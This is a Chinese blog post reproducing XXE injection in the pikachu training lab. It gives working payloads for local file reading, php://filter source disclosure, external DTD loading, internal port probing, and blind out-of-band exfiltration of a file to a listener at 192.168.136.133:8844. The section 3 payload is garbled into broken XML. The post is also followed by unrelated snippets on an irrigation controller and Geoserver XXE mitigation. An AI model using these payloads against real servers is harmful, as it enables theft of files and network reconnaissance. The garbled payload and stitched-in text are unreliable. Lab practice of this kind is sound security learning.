XXE漏洞复现

      XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)内网扫描等危害

在本篇      文章中我们使用pikachu靶场实现XXE漏洞复现

1.POC:攻击测试

      在这里,我们先尝试用xml语言定义一个实体,并将其内容定义为“仙男”,然后进行调用,具体的代码如下

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙男" > ]>
<foo>&xxe;</foo>

      输入后点击提交,发现我们定义的实体内容直接显示在页面上

2.EXP:查看文件

      xml漏洞还可以让攻击者直接查看网站所有者计算机中的文件,在这里我们利用file协议去读取一下位于C盘下的1.txt文件内容,具体代码如下

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/1.txt" > ]><foo>&xxe;</foo>

输入后点击提交出现如下页面

3.EXP:查看源码

      这一次,我们要查看pikachu靶场下一个文件的源代码,但若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析,所以在这里我们可以使用php://filter/read=convert.base64-encode/resource=,将我们获取到的信息先进行base64编码,再将其输出,具体代码如下,(为了举例子,在这里我们仍然查看c盘下的1.txt)

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
<?xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">  %remote;
%send;]>

      输入后出现如下页面

      将其base64解码后即可获得1.txt内容

4.EXP:DTD外部调用

      xml漏洞还可以利用dtd文件,从外部调用并查看文件,首先将想要查看的文件写到dtd文件中并保存到web根目录下,与pikachu靶场同级

      然后在输入框中输入如下代码,去定义一个参数实体,内容指向我们web目录下的ooo.dtd文件,然后在最后进行调用

<!DOCTYPE foo
[<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1/ooo.dtd" >
%xxe;
]>
<foo>&evil;</foo>

      点击提交后出现如下页面

5.EXP:探测内网存活主机与开放端口

      利用xml漏洞,我们还可以查看内网中存活的主机以及其开放的端口,具体代码如下

<?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80"> ]>
<x>&rabbit;</x>

      这里是查看我们的80端口是否开放,如果开放则会立马加载完成页面,如果没开放则会加载一段时间后才恢复正常

6.EXP:无回显探测

      上面的文件查看等操作都是在页面有回显的前提下进行的,在这里我们进行一下无回显探测,我们需要用到kali虚拟机。先确保物理机与虚拟机可以连接,然后在kali中开启任意一个端口的监听,这里,我们开启8844端口监听

      然后在我们的web根目录下创建一个dtd文件,用于外部调用,ooo.dtd文件的内容如下

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;

      这里的url填写虚拟机的ip以及我们监听的端口,然后在c盘下创建一个1.txt文件,我这里的内容为1231

      然后构造我们要在输入框中提交的代码,具体代码如下

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://192.168.136.133/ooo.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">    %remote;    
%send;]>

      提交后当页面开始加载时,就可以去看虚拟机监听结果了

      

      问号后面的内容就是1.txt中的内容经过base64编码后的内容

  • 27
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
自动控制节水灌溉技术的高低代表着农业代化的发展状况,灌溉系统自动化水平较低是制约我国高效农业发展的主要原因。本文就此问题研究了单片机控制的滴灌节水灌溉系统,该系统可对不同土壤的湿度进行监控,并按照作物对土壤湿度的要求进行适时、适量灌水,其核心是单片机和PC机构成的控制部分,主要对土壤湿度与灌水量之间的关系、灌溉控制技术及设备系统的硬件、软件编程各个部分进行了深入的研究。 单片机控制部分采用上下位机的形式。下位机硬件部分选用AT89C51单片机为核心,主要由土壤湿度传感器,信号处理电路,显示电路,输出控制电路,故障报警电路等组成,软件选用汇编语言编程。上位机选用586型以上PC机,通过MAX232芯片实同下位机的电平转换功能,上下位机之间通过串行通信方式进行数据的双向传输,软件选用VB高级编程语言以建立友好的人机界面。系统主要具有以下功能:可在PC机提供的人机对话界面上设置作物要求的土壤湿度相关参数;单片机可将土壤湿度传感器检测到的土壤湿度模拟量转换成数字量,显示于LED显示器上,同时单片机可采用串行通信方式将此湿度值传输到PC机上;PC机通过其内设程序计算出所需的灌水量和灌水时间,且显示于界面上,并将有关的灌水信息反馈给单片机,若需灌水,则单片机系统启动鸣音报警,发出灌水信号,并经放大驱动设备,开启电磁阀进行倒计时定时灌水,若不需灌水,即PC机上显示的灌水量和灌水时间均为0,系统不进行灌水。
Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXE(XML外部实体)漏洞XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修已知的漏洞,并在新版本中发布修程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值